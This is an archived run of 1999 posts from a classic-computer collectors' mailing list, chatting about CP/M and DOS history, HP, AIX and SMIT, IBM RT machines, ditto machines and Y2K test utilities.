<199901090857.CAA24185@wildride.netads.com> Either in 1978 or around 1980 or 81, I recall reading an article on AI-based image recognition with a micro like the Altair or IMSAI. All in machine code, of course, toggled in. The guy called it Legion, because it was based on a bunch of cells all making decisions. I think it may have been a 5x5 grid of cells, each with its own algorithm for voting yes or no. He would then show it a shape (enter some data 8^), and Legion would, based on the vote, tell him something (I forget what). Then he would tell Legion the real answer. The cells that voted correctly earned points, those that voted incorrectly lost points. As a cell lost points, it would eventually cross 0, at which point it was a failure, and was cast out. A different cell (algorithm) would take its place. The idea was that hopefully, the cells would eventually populate with algorithms with a high success rate. He miscoded a test, though, and only the cells that hit 0 exactly were cast out (into pigs, perhaps), but those that jumped from +1 to -1 kept voting. A program dump showd that some of these cells had actually been performing a good service. Anyone recall (much less have) this article? It was very well written (a bit tongue in cheek)... -Miles From dpeschel at u.washington.edu Sat Jan 9 03:11:26 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question In-Reply-To: <199901090809.CAA23905@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 02:09:07 am Message-ID: <199901090911.BAA15826@saul4.u.washington.edu> > |Yes, it should have. And the more MS waited to improve DOS (because there > |was no incentive since they already had a monopoly, or because they were > |sloppy programmers, or for backward-compatibility reasons) the more > |excruciating the thought of improvements which would break old programs > > DEC pulled it off with VMS. The people who had to > have the old compatibility just kept running the > old hardware and software, and everyone else moved > forwards. > > And right happy about it most of us were. We ended > up with an awesome development system that did OK for > realtime (VAX/VMS) and an awesome realtime system > that still needed better developer tools (PDP/whatever) That may have worked, but the factors didn't come together the right way. There were many well-designed 8-bit machines and many manufacturers who could have conceived of a plan like that. Unfortunately the innovative manufacturers (Apple, Atari, Acorn, maybe Commodore) generally profited by working as close to the hardware as possible. Using your model, their analogues of the PDP-11 -> VAX evolution were a lot less clean and neat. Note that there are some assumptions about the 8-bit period. The CPU's were not as fast as the PDP-11 was, and people apparently didn't want to pay the high price for memory management. Also, there's the matter of games (which make great demands on small CPU's and don't lend themselves to backward compatibility). How does that kind of software fit into your hypothetical situation? What about on the real PDP-11 or VAX? The only company that _did_ make a serious effort at backward compatibility was DRI. Of course that's bitterly ironic -- they may have won that battle but they lost the war. In our universe, IBM ruined DRI's approach by designing crappy hardware and writing a crappy BIOS for it; then Microsoft entered the picture with its crappy DOS that incorporated a different perspective about the hardware than IBM's; then programmers started violating all the rules to get decent performance. And to rub it in, neither Microsoft nor IBM seem to have the innovation that the previous generation of manufacturers had. I think the only way your scenario could have worked would be for some hppothetical company to have had a well-designed (made for future growth) 16-bit machine early in the game. A further irony is that DEC was such a company, but didn't sell the fruits of their labor. I think some other company might have worked, though. Intel? Corvus? Xerox??? Really, I don't know if any company (in our universe) fits the bill. > VMS was at least in the works, and UNIX was around in > some forms. There was precedent. But the guy hacking > DOS was just messing around, trying to do a slightly > better CP/M (as was Digital Research, who GAVE AWAY the > whole stinking computer world to Bill Gates on a silver > platter, with a military escort, and a ticker tape parade. A lot of people want to read Gary Kildall's memoirs... if the true story is written down, it's gotta be in there. The problem is that they have never been published. > Not that I'm bitter, you understand. 8^) Well, you COULD fight the trend and live in the past (like a lot of us do) by collecting classic machines. You could also start designing the next big machine and have it ready for the time when Microsoft weakens. -- Derek From dpeschel at u.washington.edu Sat Jan 9 03:14:37 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K stuff In-Reply-To: <3697126F.A251B94D@cnct.com> from "Ward Donald Griffiths III" at Jan 9, 99 03:25:19 am Message-ID: <199901090914.BAA12069@saul4.u.washington.edu> > they were to go away the people would realise how bad it it is and > the gubmint does _not_ want that spread around. And the US is still > the only country around with a history of a revolution that didn't > become worse than the previous choice within a generation. (It took > about three generations actually, and let's not discuss the last six > or eight). If you're going to make sweeping political statements which are provocative yet nebulous (not to mention off-topic), can you at least provide facts or details? Exactly what revolution are you talking about? What do you mean by "bad"? -- Derek From spc at armigeron.com Sat Jan 9 03:20:24 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <199901090833.CAA24032@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 02:33:24 am Message-ID: <199901090921.EAA23965@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 638 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/baa3ae3d/attachment.ksh From yowza at yowza.com Sat Jan 9 03:26:15 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question In-Reply-To: <199901090911.BAA15826@saul4.u.washington.edu> Message-ID: On Sat, 9 Jan 1999, D. Peschel wrote: > I think the only way your scenario could have worked would be for some > hppothetical company to have had a well-designed (made for future growth) > 16-bit machine early in the game. A further irony is that DEC was such a > company, but didn't sell the fruits of their labor. I think some other > company might have worked, though. Intel? Corvus? Xerox??? Really, I > don't know if any company (in our universe) fits the bill. Hewlett Packard! They should have owned the PC world, not DEC, not IBM. They were always pushing the envelope, they understood usability issues, including portability (my first computer was a 1974 HP65 -- no it's not a calculator, it's an amazing portable computer that nothing could touch until many years later). If the Universe had warped a bit such that HP decided to market to consumers much earlier or we had *many* more scientists and engineers (their target market) in the world, we'd be sitting very pretty. -- Doug From yowza at yowza.com Sat Jan 9 03:28:24 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K stuff In-Reply-To: <199901090914.BAA12069@saul4.u.washington.edu> Message-ID: On Sat, 9 Jan 1999, D. Peschel wrote: [encouragement for an off-topic rant] Oh, the shame.... -- Doug From cswiger at wilma.widomaker.com Sat Jan 9 03:36:58 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <199901090840.CAA24075@wildride.netads.com> Message-ID: On Sat, 9 Jan 1999, Miles O'Neal wrote: > Seth J. Morabito said... > > | http://www.users.interport.net/~zebra/ts2/products/zx.htm > | > |They have a bunch of old kits, originals, they're selling for $35 each. > > It's actually not a bad deal. > Dang - I love kits. You also get a free copy of "Basics of T/S BASIC" and can get a Spanish language book for asking. I wonder if 'VU-VILE' is a freudian typo.. Can't wait to start typing in a 3 page program on the membrane. Chuck cswiger@widomaker.com From dpeschel at u.washington.edu Sat Jan 9 03:39:43 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K stuff In-Reply-To: from "Doug Yowza" at Jan 9, 99 03:28:24 am Message-ID: <199901090939.BAA23702@saul9.u.washington.edu> > [encouragement for an off-topic rant] > > Oh, the shame.... I was afraid that would happen. :) Let's put it this way. If Ward is going to speak out about politics, would you rather have it be intelligently or unintelligently? And I didn't say he *should* reply (although he probably will). I do have to admit that I'm looking forward to hearing what he has to say. Shh, don't tell anyone! :) I'm assuming that the WPPDQ (Ward-postings-per-day quotient) is a constant, basically. Hopefully the SPWPQ (substance-per-Ward-posting quotient) can go up and leave the WPPDQ the same. I guess posting something on-topic is the best solutioon. Does anyone have a Corvus Concept? I bet Blockout (3D Tetris) would look pretty cool on it. -- Derek From adavie at mad.scientist.com Sat Jan 9 03:38:10 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! In-Reply-To: Message-ID: <000b01be3bb3$c55f6260$7df438cb@a.davie> I can vouch for these guys. I bought 3 of these about a year ago. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of cswiger > Sent: Saturday, January 09, 1999 8:37 PM > To: Discussion re-collecting of classic computers > Subject: Re: Computer collector on Jeopardy! > > > > > On Sat, 9 Jan 1999, Miles O'Neal wrote: > > > Seth J. Morabito said... > > > > | http://www.users.interport.net/~zebra/ts2/products/zx.htm > > | > > |They have a bunch of old kits, originals, they're selling for $35 each. > > > > It's actually not a bad deal. > > > > Dang - I love kits. You also get a free copy of "Basics of T/S BASIC" > and can get a Spanish language book for asking. I wonder if 'VU-VILE' > is a freudian typo.. Can't wait to start typing in a 3 page program > on the membrane. > > Chuck > cswiger@widomaker.com > > > From yowza at yowza.com Sat Jan 9 03:50:49 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K stuff In-Reply-To: <199901090939.BAA23702@saul9.u.washington.edu> Message-ID: On Sat, 9 Jan 1999, D. Peschel wrote: > Let's put it this way. If Ward is going to speak out about politics, would > you rather have it be intelligently or unintelligently? Lesse, my copy of Miss Manners says that in this situation the list owner should sent a polite yet firm note directly to the offending author. In no case should the list owner contribute to the off topic thread, no matter how fascinating it may be, nor should the list owner start a meta thread about off-topica that further contributes to the noise level. > I guess posting something on-topic is the best solutioon. Does anyone have > a Corvus Concept? I bet Blockout (3D Tetris) would look pretty cool on it. Somebody does, but I don't :-( -- Doug From dpeschel at u.washington.edu Sat Jan 9 03:53:55 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question In-Reply-To: from "Doug Yowza" at Jan 9, 99 03:26:15 am Message-ID: <199901090953.BAA10508@saul9.u.washington.edu> > Hewlett Packard! They should have owned the PC world, not DEC, not IBM. > They were always pushing the envelope, they understood usability issues, > including portability (my first computer was a 1974 HP65 -- no it's not a > calculator, it's an amazing portable computer that nothing could touch > until many years later). > > If the Universe had warped a bit such that HP decided to market to > consumers much earlier or we had *many* more scientists and engineers > (their target market) in the world, we'd be sitting very pretty. Hmm, that's a possibility I hadn't considered. It has potential, since they certainly had creativity. (I'm not sure if they still do, sadly.) The disadvantage is that they always want to do things their way, and they always assume their way is right. I'm mostly thinking of their calculators. The old ones are unparalleled, but the newer ones didn't evolve as much as they could have (IMO -- I've become disappointed at the HP48) and in some ways are very conservative. They tend to have a fantastic lifetime (for example, some people's 10C/11C/ 12C/15C/16C models are STILL using the original batteries, and of course the things are rugged like nothing else) but the flip side is that when that lifetime starts to come to an end, you may not be able to get a new unit or even spare parts. I've always gotten the impression that their PC clones were a little wierd. Many people say their version of UNIX is uniquely gross. (I'm sure some people find it uniquely lovely, too.) So, in your hypothetical universe, I would hope to see a less-haughty version of HP. Perhaps that would be an effect of entering the PC market in 1980, being flooded with customers, and realizing that their previous methods wouldn't work very well. Perhaps it would be a cause -- only a more flexible HP could enter the computer market, even in your world. Or perhaps it wouldn't be a problem at all, because (by now) HP would be the standard, with parts readily available. Or perhaps I just wish they would re-produce some of their old calcs or make hardware and firmware info and revision histories available to emulator writers. :) Or at least come out with a worthy successor to the HP48. -- Derek From yowza at yowza.com Sat Jan 9 04:24:12 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question In-Reply-To: <199901090953.BAA10508@saul9.u.washington.edu> Message-ID: On Sat, 9 Jan 1999, D. Peschel wrote: > The disadvantage is that they always want to do things their way, and they > always assume their way is right. Oh yeah, like HP is the only one that behaves that way. That's how every company protects their market (except IBM with the PC, in which they forgot that one time and lost a monopoly). But I agree, HP seems to go out of their way to Think Different :-) > So, in your hypothetical universe, I would hope to see a less-haughty > version of HP. Perhaps that would be an effect of entering the PC market in > 1980, being flooded with customers, and realizing that their previous > methods wouldn't work very well. Perhaps it would be a cause -- only a more > flexible HP could enter the computer market, even in your world. Or perhaps > it wouldn't be a problem at all, because (by now) HP would be the standard, > with parts readily available. As long as we're writing science fiction, here's the timeline for my parallel universe: 1972: HP introduces the 9830 and markets it as a business machine as well as a scientific/engineering machine 1974: HP introduces the 65, and offers hefty discounts to students 1975: HP reject's Woz's idea for a personal computer, telling him instead to use the HP65 form factor with an optional detachable querty keyboard and TV video interface 1976: HP introduces the Wozple 1 1977: Dennis Ritchie leaves AT&T for HP and ports Unix to the Wozple 1978: Memory prices drop, Wozple RAM is increased to 1MB 1979: Xerox introduces SmallTalk for the Wozple ... 1995: Wozple 3-D laser memory cube upgrade to 32GB available 1996: Wozple connection machine node count increased to 4 billion 1997: Wozple intercommunication bandwidth exceeds 1 GB/s 1998: Wozple eyephone resolution matches film 1999: Wozple neural implants drop in price to $0.50 2000: An obscure Harvard grad named Gates is suspended from ebay for selling counterfeit Beanie Babies Oh well, back to running scandisk on my WinTel box. -- Doug From dpeschel at u.washington.edu Sat Jan 9 04:38:18 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question In-Reply-To: from "Doug Yowza" at Jan 9, 99 04:24:12 am Message-ID: <199901091038.CAA22008@saul4.u.washington.edu> > > The disadvantage is that they always want to do things their way, and they > > always assume their way is right. > > Oh yeah, like HP is the only one that behaves that way. That's how every > company protects their market (except IBM with the PC, in which they > forgot that one time and lost a monopoly). But I agree, HP seems to go > out of their way to Think Different :-) All of a sudden I'm thinking of _Spaceballs_. "Good will always triumph over evil because _good_ is _dumb_." As long as there's a group of companies (MS and the clone makers) who can copy features without spending money to devise them, the companies who _do_ do the devising lose. The result is worse than either all closed-system or all open-system companies would be. If IBM _had_ had a monopoly, though, I'm not sure the present would have turned out the same way. I _like_ open systems. So do a lot of other people. It's just that they need to be done right. > As long as we're writing science fiction, here's the timeline for my > parallel universe: > 1972: HP introduces the 9830 and markets it as a business machine > as well as a scientific/engineering machine > 1974: HP introduces the 65, and offers hefty discounts to students > 1975: HP reject's Woz's idea for a personal computer, telling him > instead to use the HP65 form factor with an optional detachable querty > keyboard and TV video interface > 1976: HP introduces the Wozple 1 > 1977: Dennis Ritchie leaves AT&T for HP and ports Unix to the > Wozple thus causing the 'phone system to deregulate five years early, creating either a) cheap Internet connections or b) total chaos. > 1999: Wozple neural implants drop in price to $0.50 > 2000: An obscure Harvard grad named Gates is suspended from > ebay for selling counterfeit Beanie Babies 2001: In revenge, Gates writes the ultimate virus which spreads through the neural implants, creating either a) world domination by Gates or b) total chaos. You're putting in a pretty tall order, you know. A LOT of things would have to go right. > Oh well, back to running scandisk on my WinTel box. It may comfort you to know that MS ripped off the FAT system (like practically everything else). And the original didn't even work very well! On the other hand, I suppose that might not comfort you. :) -- Derek From dpeschel at u.washington.edu Sat Jan 9 05:46:34 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:55 2005 Subject: ON-TOPIC: The PD-32 CPU Message-ID: <199901091146.DAA21811@saul9.u.washington.edu> I keep reading little pieces of information about this chip. (Actually, it could be a multi-chip set... I don't know.) Apparently, it's _public-domain hardware_. What a concept! :) Has anyone actually seen a system based on this thing? What? Where did I read about it, you ask? I think it might have been in _Life with UNIX_, but I really don't remember. And it's too late to do a Web search. I should really be in bed. I'm surprised the FSF hasn't bought PD-32 systems en masse. It would be the perfect platform to run the HURD on. -- Derek From gram at cnct.com Sat Jan 9 06:16:11 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question References: Message-ID: <3697488B.24D2112D@cnct.com> Doug Yowza wrote: > As long as we're writing science fiction, here's the timeline for my > parallel universe: > 1972: HP introduces the 9830 and markets it as a business machine > as well as a scientific/engineering machine > 1974: HP introduces the 65, and offers hefty discounts to students Actually, I was drooling over the HP-65 at the Georgia Tech bookstore in September of 1973. Didn't have $795 (plus tax) to spare then. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Sat Jan 9 06:18:22 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: Stupid CP/M question References: <199901090658.AAA23344@wildride.netads.com> Message-ID: <3697490E.92DE4346@cnct.com> Miles O'Neal wrote: > > Phil Clayton said... > | > |Maybe someone should write a book called "CP/M for Dummies" with lots of > |Pictures and illustrations... > > And print up and bind one copy, with a copyright date > of 1980, and sell it on eBay for scads of money! But what cartoons to head the chapters? "The Fifth Wave" wasn't around back then. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Sat Jan 9 07:11:01 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list References: <199901090921.EAA23965@armigeron.com> Message-ID: <36975565.5C87ABFA@cnct.com> Sean 'Captain Napalm' Conner wrote: > > It was thus said that the Great Miles O'Neal once stated: > > > > But half your UNIX commands are no longer relevant. > > They might be present, but they may or may not do > > what you expect. There are a whole bunch of extra > > commands to manipulate the odb, some intuitive and > > some not. So any time you can't use SMIT, all your > > UNIX knowledge is useless. > > And when, exactly, is the time when you can't use SMIT? > > I bet the main reason most sysadmins hate SMIT is that it makes the job > too easy and thus they are fearful for thier jobs. > > Me? Hey, it leaves me with more time to hack 8-) > > -spc (Would love SMIT for Linux ... ) I'll admit that some of the damned odb stuff is annoying (mostly because the documentation is down to IBM standards), but between the F4 key (I like plagiarizing when I code shell scripts) and the Logical Volume Manager [I hear rumors of work on that for Linux, so my hopes are up -- hell, ever since IBM joined the Apache team, I've got no idea where the world is going -- then Intel bought into Red Hat]. By the way, whover was making the threat to someone else, I'd love to have an RT myself. Second best keyboard ever made. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Sat Jan 9 07:25:05 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: RT - the rude, the bad, and the ugly References: <01be3ba7$9f5e7ee0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <369758B1.35F6E246@cnct.com> Computer Room Internet Cafe wrote: > >The high bidder would get to step out back onto the rifle range > >(why have 5 acres in Texas without a rifle range?), and put a > >7.62mm bullet into the RT's evil, beating heart. Crappy NATO 7.62 renaming of .30 cal. Jerks. Gimme a Winchester .308. > >Nah, I'm sure there are 3rd world countries that would take them. > >But after they had them a while, they'd be even more pissed at > >the US than they are now... 8^/ Who cares? We've got better computers _and_ guns in private hands. > Is that possible??? ;^) > > Having almost choked on my coffee (actually it, was a West End Draught, but > I digress) and had my leg scratched by the resident cat who took flight off > my lap whilst reading the above, I think it may be time that we required > such posts to have an obligatory warning of C&C (Coffee & Cats) variety, so > I don't do it again. :^) Sitting here with a light grey Tabby trying to ruin _another_ cheap PClone keyboard by spilling a beer into it. (She's trying to ruin the keyboard [she thinks I should be skritching her back, not tapping on the other thing], I'm trying to type and preserve the beer for my own use). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From pechter at monmouth.com Sat Jan 9 07:23:23 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <199901090921.EAA23965@armigeron.com> from Sean 'Captain Napalm' Conner at "Jan 9, 99 04:20:24 am" Message-ID: <199901091323.IAA09438@pechter.ddns.org> > It was thus said that the Great Miles O'Neal once stated: > > > > But half your UNIX commands are no longer relevant. > > They might be present, but they may or may not do > > what you expect. There are a whole bunch of extra > > commands to manipulate the odb, some intuitive and > > some not. So any time you can't use SMIT, all your > > UNIX knowledge is useless. > > And when, exactly, is the time when you can't use SMIT? When the ODB is corrupted to #$%Y&* > > I bet the main reason most sysadmins hate SMIT is that it makes the job > too easy and thus they are fearful for thier jobs. Agreed > > Me? Hey, it leaves me with more time to hack 8-) > > -spc (Would love SMIT for Linux ... ) > Would love SMIT for FreeBSD (but would love the AIX Logical Volume Manager more. As far as SMIT... But with a better looking user interface without the stupid running icon. Bill ---- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" From pechter at monmouth.com Sat Jan 9 07:31:30 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:55 2005 Subject: OSF/1, DE, IBM, and Tektronix In-Reply-To: <199901090825.CAA24004@wildride.netads.com> from Miles O'Neal at "Jan 9, 99 02:25:40 am" Message-ID: <199901091331.IAA09500@pechter.ddns.org> > D. Peschel said... > | > |What _I_ want to know is the relationship between OSF/1, a.k.a. Digital > |UNIX, and AIX. The manual entry for stanza(4) on our DEC system is the same > |as OSF/1 1.0, and it's SO badly written that only IBM could have done it. > |Plus stanzas are an IBM-ism anyway. I bet the entry is pretty much the same > |on AIX systems, too. (I just checked and our AIX doesn't have it. So I > |don't know -- it's just a guess.) I believe AIX was one of two (along Digital OSF/1) Unix varients based on the OSF/1 code. IBM also contributed the file system and LVM to OSF/1. DEC kicked in a bunch of their parts. The Sun-AT&T deal faded away as AT&T decided to buy NCR, partner with Pyramid and continue their attempt to chase the computer business with badly conceived plans (like buying NCR). Bill -- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" > -David Filo, Yahoo! From pechter at monmouth.com Sat Jan 9 07:36:08 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:55 2005 Subject: AIX 1.x In-Reply-To: <199901090752.BAA23784@wildride.netads.com> from Miles O'Neal at "Jan 9, 99 01:52:43 am" Message-ID: <199901091336.IAA09549@pechter.ddns.org> > Miles O'Neal said... > > OK, well, 2.0 still sucked, and I wouldn't > even *touch* the stuff until either 3.1.5 or > 3.2, I forget which. 3.2 probably. 3.2.5 (the earliest I used at IBM was quite nice. I'm still running some of 'em at Lucent. 4.x is very slick and shows the SVR4 influcence and less OSF/BSD... but it's a real workhorse. > > -Miles > > and don't get me started about the PS/2 AIX... > That wasn't really AIX, though. Didn't it really start with Interactive Unix at the root. Bill --- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" > -David Filo, Yahoo! From pechter at monmouth.com Sat Jan 9 07:37:13 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <199901090750.BAA23764@wildride.netads.com> from Miles O'Neal at "Jan 9, 99 01:50:41 am" Message-ID: <199901091337.IAA09564@pechter.ddns.org> > Zane H. Healy said... > | > |I was refering to the ancient RS/6k's about the size of a BA123, that we > |still have a bunch. They make good chairs, a bit high, but they're built > |like a rock. > > I will happily take any RS/6K off the hands of > anyone who doesn't want it. 8^) > > -Miles > > I've still got two 550's running at Lucent and would take anyone home that anyone wants to donate. Especially with AIX 4.x. I'd really like a 43p, though. Bill --- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" > -David Filo, Yahoo! From foxvideo at wincom.net Sat Jan 9 07:39:24 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:39:55 2005 Subject: Sociology and Message formatting In-Reply-To: References: <199901081735.RAA04305@nixpbe.pdb.sni.de> Message-ID: <3.0.5.32.19990109083924.007b3950@mail.wincom.net> At 10:10 AM 1/8/1999 -0800, you wrote: >On Fri, 8 Jan 1999, Hans Franke wrote: > >> Shure, today they are no longer produced with typewriters and >> Spiritusumdrucker (sorry missing word - a copyingdevice using >> special sheets and spirit for duplication), but rather on PCs >> or high class DTP stations, but thats just the tool. > >Spiritusumdrucker! What a fantastic word! I think that would be a >mimeograph? > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > That was a DITTO machine, at one time handled by Bell & Howell. They had to pull them out of the schools around here because the alcohol fumes made everyone squiffy. Cheers Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From foxvideo at wincom.net Sat Jan 9 07:44:39 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:39:55 2005 Subject: Sociology and Message formatting In-Reply-To: References: <199901081937.MAA01550@calico.litterbox.com> Message-ID: <3.0.5.32.19990109084439.007a31e0@mail.wincom.net> At 12:48 PM 1/8/1999 -0800, you wrote: >On Fri, 8 Jan 1999, Jim Strickland wrote: > >> > > Shure, today they are no longer produced with typewriters and >> > > Spiritusumdrucker (sorry missing word - a copyingdevice using >> > > special sheets and spirit for duplication), but rather on PCs >> > > or high class DTP stations, but thats just the tool. >> > >> > Spiritusumdrucker! What a fantastic word! I think that would be a >> > mimeograph? >> >> I always heard them called ditto machines. Print in blue ink that wipes off. > >Sure but I think the actual latin name for them is mimeograph. > >> We had them in grade school. We did NOT have a photocopier - they were > >Me too. I used to have ditto duty making copies for the teacher. I also >used to make up mazes and got to use the machine to make copies for the >classmates. > >> apparently monstrously expensive to purchase and maintain at the time. >> By the time I got to high school inexpesive photocopiers were readily >> available, although we used the ditto machines even then. The >> photocopier was fine for short runs or things where copy quality was >> important. The ditto machine was faster and much cheaper per copy. >> Of course I'm sure the ink on the master and the solvent on the >> machine are carcinogens... (just kidding) > >By the time I was in high school dittos were a distant memory. To put it >in (classiccmp) perspective, by that time inkjets were still on the >horizon and dot matrix printers were still the shit. > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > The Mimeograph (an Edison invention) used ink, as did the Gestetner (sp?) while the Ditto used alcohol. I still have a 1909 Mimeograph in my collection. Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From gene at ehrich.com Sat Jan 9 07:44:42 1999 From: gene at ehrich.com (Gene Ehrich) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K Test Program In-Reply-To: <36957FD9.DE824D0E@rain.org> References: <199901081821.KAA30772@oa.ptloma.edu> Message-ID: <4.1.19990109084020.00938d30@popmail.voicenet.com> At 07:47 PM 1/7/99 -0800, you wrote: >As long as we are off topic, some of you might be interested in a Y2K >testing program called YMARK2000 available at http://www.nstl.com/. >Basically, it tests for proper rolloever, manual setting of date to 2000, >and leapyears. It works real well. My Aptiva 133 failed auto rollover to 2000 test but passed the rest. It's worth getting a copy. Don't know if the list carries it but I have attached a copy to this message. It's a self extracting ZIP file that must be run from DOS. -------------- next part -------------- A non-text attachment was scrubbed... Name: y2000.exe Type: application/octet-stream Size: 24063 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/8a75a6a7/y2000.exe -------------- next part -------------- gene@ehrich http://www.voicenet.com/~generic Computer & Video Game Garage Sale Gene Ehrich PO Box 209 Marlton NJ 08053-0209 From gene at ehrich.com Sat Jan 9 07:46:38 1999 From: gene at ehrich.com (Gene Ehrich) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K name bug In-Reply-To: <36957FD9.DE824D0E@rain.org> References: <199901081821.KAA30772@oa.ptloma.edu> Message-ID: <4.1.19990109084501.009c0b90@popmail.voicenet.com> The Y2K problem has plenty of time to get fixed if you properly interpolate the name Y2K. Since K = 1024 we still have 49 years to fix the problem. gene@ehrich http://www.voicenet.com/~generic Computer & Video Game Garage Sale Gene Ehrich PO Box 209 Marlton NJ 08053-0209 From gram at cnct.com Sat Jan 9 08:08:00 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list References: <199901091323.IAA09438@pechter.ddns.org> Message-ID: <369762C0.2710445B@cnct.com> Bill Pechter wrote: > Would love SMIT for FreeBSD (but would love the AIX Logical Volume > Manager more. By all godz I could use it on this thing (my main home workstation, I made a couple of bad decisions when I added the 8.4Gb drive). > As far as SMIT... But with a better looking user interface without the > stupid running icon. Ah, the OJ. (The term was in use before the white Bronco incident -- apparently the guy was known as a runner? I'm not a football fan). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From rcini at msn.com Sat Jan 9 08:29:17 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:39:55 2005 Subject: Pearls of Wisdom Message-ID: <004201be3bdd$ecf5de60$e0e5fea9@mainoffice> Doug's "Ten Reasons Why I Collect Computers" inspired me to start compiling the Pearls of Wisdom of our list members. I'll be culling these from our daily e-mail, but if anyone wants to contribute directly, e-mail me privately. Once I have a page or two, I'll post it to my Web site for all to read (and laugh at, hopefully). [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From SUPRDAVE at aol.com Sat Jan 9 08:59:32 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list Message-ID: <4d4d140f.36976ed4@aol.com> In a message dated 1/9/99 8:06:42 AM EST, gram@cnct.com writes: << By the way, whover was making the threat to someone else, I'd love to have an RT myself. Second best keyboard ever made. -- >> i finally got my RT going after an individual from the RT newsgroup sent me a keyboard since mine didnt come with one when i got it for $10. Seems to be a standard corporate IBM buckling spring keyboard like i use everyday, except the keyboard connector is shaped like the PCjr model! a standard keyboard could probably be hacked to fit an RT. it seems the machine wont boot all the way without the keyboard. now my RT boots AIX 2.1.2 i think and although i can login as root thanks to the password taped to the side of the machine when i got it, i have no idea what it can 